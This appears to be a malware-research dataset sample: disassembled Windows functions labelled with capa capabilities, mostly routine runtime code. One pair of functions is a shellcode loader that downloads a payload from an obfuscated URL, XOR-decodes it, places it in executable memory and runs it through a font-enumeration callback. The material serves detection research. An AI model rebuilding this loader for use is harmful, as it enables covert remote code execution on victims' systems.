joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400014c0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x48], 0xfffffffffffffffe
mov qword [rsp + 0xb8], rbx
mov rdi, rdx
mov rbx, rcx
xor r13d, r13d
mov dword [rbp + 0x48], r13d
mov qword [rcx], r13
mov qword [rcx + 8], r13
mov qword [rcx + 0x10], r13
mov dword [rbp + 0x48], 1
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea edx, [r13 + 1]
lea rcx, str.huorong
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
test rax, rax
jne 0x14000155d
lea rax, str.Failed_to_open_internet_connection.
mov qword [rbp - 0x50], rax
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x40]
call fcn.140001f34
lea r11, vtable.std::runtime_error.0
mov qword [rbp - 0x40], r11
lea rdx, [0x14000ebe0]
lea rcx, [rbp - 0x40]
call fcn.140002828
int3
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rsi, rax
test rax, rax
jne 0x1400015c1
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r11, str.Failed_to_open_URL.
mov qword [rbp - 0x50], r11
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x40]
call fcn.140001f34
lea r11, vtable.std::runtime_error.0
mov qword [rbp - 0x40], r11
lea rdx, [0x14000ebe0]
lea rcx, [rbp - 0x40]
call fcn.140002828
int3
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r13
lea rcx, [rbp - 0x28]
call fcn.140001900
nop
mov dword [rbp + 0x40], r13d
mov r13, qword [rbp - 0x20]
mov rdi, qword [rbp - 0x28]
sub r13, rdi
lea r9, [rbp + 0x40]
mov r8d, r13d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001631
nop dword [rax]
mov eax, dword [rbp + 0x40]
test eax, eax
je 0x140001638
lea r9, [rdi + rax]
mov r8, rdi
mov rdx, qword [rbx + 8]
mov rcx, rbx
call fcn.140001ae0
lea r9, [rbp + 0x40]
mov r8d, r13d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001600
mov eax, dword [rbp + 0x40]
test eax, eax
jne 0x14000168d
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x14000168d
cmp eax, 0x12
je 0x14000168d
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r11, str.Failed_to_read_file_content.
mov qword [rbp - 0x50], r11
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x40]
call fcn.140001f34
lea r11, vtable.std::runtime_error.0
mov qword [rbp - 0x40], r11
lea rdx, [0x14000ebe0]
lea rcx, [rbp - 0x40]
call fcn.140002828
int3
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
test rdi, rdi
je 0x1400016ad
mov rcx, rdi
call fcn.140002570
mov rax, rbx
mov rbx, qword [rsp + 0xb8]
add rsp, 0x80
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001700
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
mov eax, 0x68
mov ecx, 0x1f4
mov qword [rsp + 0x90], rbx
mov word [rbp - 0x40], ax
mov eax, 0x63
mov dword [rbp - 0x3e], 0x740074
mov word [rbp - 0x22], ax
mov eax, 0x33
mov dword [rbp - 0x3a], 0x3a0070
mov word [rbp - 0x1c], ax
mov eax, 0x36
mov dword [rbp - 0x36], 0x2f002f
mov word [rbp - 0x1a], ax
mov eax, 0x30
mov dword [rbp - 0x32], 0x660067
mov word [rbp - 0x18], ax
mov eax, 0x64
mov dword [rbp - 0x2e], 0x660071
mov word [rbp - 0x16], ax
mov eax, 0x73
mov dword [rbp - 0x2a], 0x71006f
mov dword [rbp - 0x26], 0x2e007a
mov dword [rbp - 0x20], 0x2f006e
mov dword [rbp - 0x12], 0x2e0062
mov word [rbp - 0x14], ax
mov dword [rbp - 0xe], 0x70006a
xor ebx, ebx
mov dword [rbp - 0xa], 0x67
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x60]
call fcn.1400014c0
mov r11, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x58]
cmp rdx, r11
je 0x1400018a3
mov qword [rsp + 0x98], rdi
mov r9d, ebx
mov r8d, ebx
lea rdi, str.hrsgdsb
mov r10d, ebx
nop word [rax + rax]
movsx ecx, byte [r8 + rdi]
mov eax, 0x4ac525d3
inc r8
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x92492493
imul edx, edx, 0x6d9
sub ecx, edx
imul r9d
add cl, 0x4f
xor byte [r10 + r11], cl
mov r11, qword [rbp - 0x60]
add edx, r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
cmp r9d, edx
mov rdx, qword [rbp - 0x58]
cmove r8, rbx
inc r9d
mov rcx, rdx
sub rcx, r11
movsxd rax, r9d
inc r10
cmp rax, rcx
jb 0x1400017f0
mov rdi, qword [rsp + 0x98]
xor ecx, ecx
sub rdx, r11
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x60]
sub r8, rdx
mov rcx, rax
mov rbx, rax
call fcn.140002030
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, rbx
mov rcx, rax
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
mov r11, qword [rbp - 0x60]
mov rbx, qword [rsp + 0x90]
test r11, r11
je 0x1400018b8
mov rcx, r11
call fcn.140002570
xor eax, eax
add rsp, 0x80
pop rbp
ret

Function at 0x140003f10
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140003d80
Function at 0x140006f80
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140010f70]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000369c
xor ebx, ebx
cmp qword [0x140012058], rbx
mov rdi, rax
jne 0x140007093
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000716a
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000716a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140012058], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140012060], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140012068], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140012078], rax
test rax, rax
je 0x14000708a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140012070], rax
jmp 0x14000709a
mov rax, qword [0x140012070]
jmp 0x1400070a1
mov rax, qword [0x140012070]
mov r11, qword [0x140012078]
cmp rax, rdi
je 0x140007108
cmp r11, rdi
je 0x140007108
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140012078]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140007108
test rax, rax
je 0x140007108
call rsi
test rax, rax
je 0x140007102
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140007102
test byte [rsp + 0x40], 1
jne 0x140007108
bts ebp, 0x15
jmp 0x140007148
mov rcx, qword [0x140012060]
cmp rcx, rdi
je 0x140007148
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140007148
call rax
mov rbx, rax
test rax, rax
je 0x140007148
mov rcx, qword [0x140012068]
cmp rcx, rdi
je 0x140007148
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140007148
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140012058]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000716a
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000716c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140005ca0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400074b7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140010f70]
jne 0x140005cba
rol rcx, 0x10
test cx, 0xffff
jne 0x140005cb6
repz ret
ror rcx, 0x10
jmp 0x140007410
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140012120]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140012218]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140007495
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140012120]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400074b7
mov rax, qword [rsp + 0x88]
mov qword [0x140012218], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400121b8], rax
mov rax, qword [0x140012218]
mov qword [0x140012090], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400121a0], rax
mov dword [0x140012080], 0xc0000409
mov dword [0x140012084], 1
mov rax, qword [0x140010f70]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140010f78]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140012118], eax
mov ecx, 1
call fcn.140006f78
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000d6d8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140012118], 0
jne 0x14000753e
mov ecx, 1
call fcn.140006f78
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180841058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1808411df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180841089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18084106f
add dl, dl
jne 0x180841096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808410f6
xor eax, eax
add dl, dl
jne 0x1808410a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808411ad
add dl, dl
jne 0x1808410b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808410c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808410d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808410dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1808410ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18084107e
mov eax, 1
add dl, dl
jne 0x180841106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180841113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808410fb
sub eax, ebx
mov ebx, 1
jne 0x18084114c
mov ecx, 1
add dl, dl
jne 0x18084112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18084113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180841123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18084107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180841168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180841175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18084115d
cmp eax, 0x7d00
jae 0x18084119b
cmp eax, 0x500
jb 0x180841196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18084107e
cmp eax, 0x7f
ja 0x18084119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18084107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1808411d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18084107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140162c50]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140162c60]
mov dword [rax], 1
mov rax, qword [0x140162c70]
mov dword [rax], 1
mov rax, qword [0x140162be0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140162c40]
mov dword [0x14016600c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140162d20]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140162d00]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140162bc0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140162ca0]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140162cb0]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140166008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140162c10]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140162c90]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140166028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140166020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140166020], rbp
call dbg.__main
mov rax, qword [0x140162c20]
mov r8, qword [0x140166018]
mov ecx, dword [0x140166028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140166020]
call dbg.main
mov ecx, dword [0x14016600c]
mov dword [0x140166010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140166008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140162cb0]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140162cd0]
mov rcx, qword [0x140162cc0]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140166010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140162cf0]
mov rcx, qword [0x140162ce0]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001ac7
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
lea rax, [rbp - 0x90]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x10]
lea rdx, [rbp - 0x90]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp - 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0xe0
pop rbp
ret

Function at 0x140001e60
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001ed0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140166094]
mov rbx, rcx
test esi, esi
jle 0x140002000
mov rax, qword [0x140166098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001f1b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001fa5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001f00
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140002022
mov rax, qword [0x140166098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140166098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002007
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001f9e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001fb0
add dword [0x140166094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140166098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001f9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001f28
mov rax, qword [0x140166098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400025b0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140166100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1401660e0]
test rbx, rbx
je 0x14000260c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002603
test eax, eax
jne 0x140002603
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400025e8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002820
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002838
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002840
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002850
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000289d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002894
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000289f
add rax, 0x28
cmp rax, r9
jne 0x140002880
xor eax, eax
ret

Function at 0x1400028a0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002930
mov rdx, qword [0x140162be0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000291e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000291e
cmp word [rax + 0x18], 0x20b
jne 0x14000291e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002930
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002909
add rbx, 0x28
cmp rbx, rdi
je 0x140002930
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002900
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002940
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140162be0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002960
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002968
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002960
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400029bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400029b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002960
add rax, 0x28
cmp rax, r9
jne 0x1400029a0
xor eax, eax
ret

Function at 0x1400029c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140162be0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400029df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400029e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400029df
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002a00
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140162be0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002a20
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002a28
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002a20
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002a70
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002a67
test rcx, rcx
je 0x140002a20
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002a58
xor eax, eax
ret